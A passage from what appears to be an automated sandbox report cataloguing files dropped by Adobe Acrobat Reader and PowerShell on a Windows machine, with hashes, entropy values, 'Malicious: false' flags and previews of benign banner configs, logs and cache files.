Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296194998323892
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJfYdPeUkwRe9:YvXKXeGDjKGc3sGg8Ukee9
MD5:	38A349D73648D37033F642391D94B306
SHA1:	DEE7FEA941A7E53A8AFD3B55A1EF3F0D0AFC758A
SHA-256:	A9C3501BB3163694959E9542C5A612A4BD6F0B93B3BF70E3291D9EF127818012
SHA-512:	3985F3023C49A274095BA723A90F568EB1F87AEBDBD23528E96BE234D7D0CC575D49A6D733CAFE0D72DA37BA1982B6E10653B5AFB194E6ECF4147535BEE6DD97
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.282759735301097
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJf+dPeUkwRe9:YvXKXeGDjKGc3sG28Ukee9
MD5:	D3DE846EC193876C0BF7D7F01667ECF5
SHA1:	010D1EFC2E293AA932EB632DDF2B7FB89892E3A0
SHA-256:	820B1DC0E9436D2962B3473E00CE98D9199D068C56BDE80D3134B857C20126E1
SHA-512:	BFCAD24D725DA4F24FF0A365D236B956BAEC2FD930C7E87E7D3C52CB0733D49D38981395655FD1B92E550DEFF890FD2178CBD8DBCB99FFA17DDEFAE560886E9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.279768247212026
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJfbPtdPeUkwRe9:YvXKXeGDjKGc3sGDV8Ukee9
MD5:	5E3496F194B0616E653D3178F8693C77
SHA1:	FC19F433BAA9363237BAD033BCB4F3F30E85430B
SHA-256:	0A9AFBB355D2D8171525D6BF62F9E9561227BF0849EF69766F4C54D23F5C23D7
SHA-512:	6A50CC1CA8C763684A1DB7956E5C2E07A4EC9FD6C818D1DE226D1BBAFA39D1BD5D6591A97BC1540B09AB2AC6DA6A86921A4BF6140541930367EFFFC9C44EF2E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.282782520009117
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJf21rPeUkwRe9:YvXKXeGDjKGc3sG+16Ukee9
MD5:	6AB5C54B4F4D4AC17B59B8490E9088FB
SHA1:	197B0832DA33482D388F7333FE1BA700BC721E5D
SHA-256:	90314F0E4151E244AE23EE0E440B8F990948C6F17C96A9451B6A67DD7DABEC62
SHA-512:	1DC06401298B148C3E4CD722EF5E428DEBE0A6BDAA9A978B310D942D9984A9EC4E74F4432283D22E71897F587780FE5A1E7559906915153D1A9B52084463A0B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655857433221548
Encrypted:	false
SSDEEP:	24:Yv6XeGDjU35amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS8Er:Yv5gjWBgkDMUJUAh8cvMH
MD5:	81BB5AFE4D1A5B169B60B45C63B4B6DC
SHA1:	CE089ECC520DAE14677250352D24F72707822859
SHA-256:	0EC96A874269099566F43DEB00AA4BEE30384A8261677F7C2CE5021823759551
SHA-512:	28ED77AD17FC618E6DED45CB5F0DD5928D285888A7291825CAEAB4BFFA2156F0E77CAF52349B741521BA24CA707039F97DCD8D483F5F79EA52E431FE4B14E1F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.258707604348863
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJfshHHrPeUkwRe9:YvXKXeGDjKGc3sGUUUkee9
MD5:	DAFC50FC34BDCF60FCEC2C3AED77F789
SHA1:	77480B590CA4AA2A4344446641CDC3831BD74F9C
SHA-256:	E61715C80A1ADFAA77973D9266194F44F908CE0776E7100992CC17E5D3E62223
SHA-512:	C9913A0CF187670D832EFD303503B42E3EEC6AF26B57BB3311491180D054AD5CAFE401C2A9B11DDB9A074BE89B53B083EB2B471F2605A13DA04C543D18F3C89F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.266885944812111
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJTqgFCrPeUkwRe9:YvXKXeGDjKGc3sGTq16Ukee9
MD5:	A3D12856C2AC3C24CC7F0CB41052FDD5
SHA1:	D3AE32431A409CD2E178A2FE6416A942C9BE7D69
SHA-256:	807C27E680C65913580AF58345039E4B438C0EFBE8E5CBB711508ED92245E857
SHA-512:	BC8612A25B099E6019636496FDDDA3C525DE9C03C930477497A9A104B56B7CCD9D9ECEEB96E6D1C7A27C0D062805ADAB762A1B4CC7D77144CAB526200BEA5A11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.127585882300272
Encrypted:	false
SSDEEP:	24:Ym8G1OGaj/hayZJE8yd/s064hJ/1oL5+U/fgTryjfj0S+v+232LSQClSTpKBjLFO:YmpOUNdyP/fPrnmmOyKBPFMVJj7U9SX
MD5:	E74FCBBE9F13AE2DDE3ED0DF6BEB25E0
SHA1:	9D39AFE51AC1E09F3E937752E3651C00282AC7E3
SHA-256:	A926A78267070AFAF1A268743CAA02374CE67A1EA2065D91FA6B5D6708725593
SHA-512:	E24BD931FEBE6DF060587ACC705A1FF9D5E51EA2F7DC4CF3E371CE8759FCFB8F502DCEA679064B52744B69C696BD5CEF601A3B33A9614EBA20D180E4F4D347B2
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"64b8b75eb566e41fddc745da9833d9c5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736556009000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c580318b4eb75e3de7d50f9b49ca2c7d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736556009000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8b3b62e2a54dd1a803601f6220b1df6a","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736556009000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b29ec8edf5791521be016c43e7de4ddc","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736556009000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"31f9e30b703b3671943ba879614d7210","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736556008000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c7e185efdfa83b1ecfcc3eec871cae7a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1460513743647558
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursysfRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudr:TFl2GL7mspXc+XcGNFlRYIX2v3kc
MD5:	F409489BF97CB745A4B6675B17F87C10
SHA1:	915166CC6AC0CF55D38CE917DFD47D893012BC31
SHA-256:	6240534A18A65A27FED920C4A60E47101F51FEC8DC436D279E9E85ED58C69809
SHA-512:	68BEC40004F4821C55905651C13027C9B79EE6961ECFD9846C4E106ECAC85436E746952A9D1461E67285CBDFB61B6054E589298D7A548022F70CC460BBFA81B2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5533539088481385
Encrypted:	false
SSDEEP:	24:7+t5sfUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxlfqLxx/Xy:7MhXc+XcGNFlRYIX2vUqVl2GL7msM
MD5:	1D2B194221A137CBE699B687D74AE8BF
SHA1:	8133E5DF493837923A6E9C0850C0C7F51FBDFC00
SHA-256:	95CAC5E383CA6D60A25CBE3645B6DF12A93AA418F555C9323FDF7E7D6C2375B1
SHA-512:	16F783DA94E51FDACF90D7416C7CC1123B6B185B4E0B31D5AB5C1F7EA9C4D1B08A1A9665364F0289F608AEFFE2ED5E41C91D67742B38EB1098888B591D518855
Malicious:	false
Preview:	.... .c..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgzAWIo6x8M4EkuFttUqqZNdcRQYyu:6a6TZ44ADEzAWIpx8jLuF7QK
MD5:	C0EE2C50651F6A94DECC2A16966B342A
SHA1:	EBF144EF6E2683A817985BCF82AE857885746725
SHA-256:	86F32813F786A8C12FAD44570602316A7E05C963222CF7F8B2073219F4445577
SHA-512:	4629F8C64E3094655B1B7AA2454D636622E8BF24A6B65976DA6F7CEDAACD033AC3E23E11EA671A16846DDBCCAF546B7DF564D5AD0C32CC415D8021D3C6FB35D0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI576a9.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEVll:Qw946cPbiOxDlbYnuRK+bDVll
MD5:	CF95794E01965D2F0C18C81BEB1036E0
SHA1:	BADFABA1E7B349FAAB8968D87BC7A34F62EC480E
SHA-256:	BBE70104F4253DBE9538D9E2447B2B115F1ED56C33898E9D7D28D7F5EBF591DC
SHA-512:	2284D4A509A264FBC35D2F11DFD616D99ACC70BEB88CCAF78E96AF2D3AD97EAC5A6A703D3D44678822316677981409B4232731BA0CE844D22A353ED10F484C22
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.4.0.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pojmcbiw.zuq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w4rkr45r.itt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-40-01-967.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.349476287053077
Encrypted:	false
SSDEEP:	384:3sKxSwb7IziEdjpwiEt04jQdZOD/l3PYLUS8mN/xVv/BXIN7gAPhJuxuHqfBw+JS:3QPo
MD5:	B6597A4327524207F8F58CD4723A1DF6
SHA1:	5C438D924422C948B2D471CA53BE20A07E51ADCB
SHA-256:	039E506506E720C54CF616A820289831ADE91DDBE16FDEBD5536C934C9AC4825
SHA-512:	7A90B3CD683A5410D5E3F0DD1E2CB923DB534C1DAC47801BCFEC2D2C8C69C68E4D8F9046D3424C6707413E29BCE87A7E0B2FBE8864190C0219C8DE7DD8E1D2BA
Malicious:	false
Preview:	SessionID=b1209935-11b1-4a3c-ad2d-636632727cc9.1736556001998 Timestamp=2025-01-10T19:40:01:998-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b1209935-11b1-4a3c-ad2d-636632727cc9.1736556001998 Timestamp=2025-01-10T19:40:02:014-0500 ThreadID=7768 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b1209935-11b1-4a3c-ad2d-636632727cc9.1736556001998 Timestamp=2025-01-10T19:40:02:014-0500 ThreadID=7768 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b1209935-11b1-4a3c-ad2d-636632727cc9.1736556001998 Timestamp=2025-01-10T19:40:02:014-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b1209935-11b1-4a3c-ad2d-636632727cc9.1736556001998 Timestamp=2025-01-10T19:40:02:014-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39066503045966
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbZ7cb7yIWccbZ:V3fOCIdJDe7I7Wj
MD5:	CFDBD884FA1B1E8ABEDB1834829E0746
SHA1:	429737570F613308F5AF086308D0DA4194A27B2E
SHA-256:	37F53B6AFA2DCA6452DC75B9895E53ABA742FFDEE789924A56688222F038136D
SHA-512:	27BC62408235ED1D36BAB8C3D1B882D14291A1099D3EACE8C38858FF94811FC771E2E73A1C66BA151E5A43F9E2E18CB21B0EA67C5F3772359FFE683A0B0FCC05
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3bfafc19-ce39-4e84-ac85-558c806b2661.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b36a25a6-b3da-417c-a6b9-6f94476a0e26.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
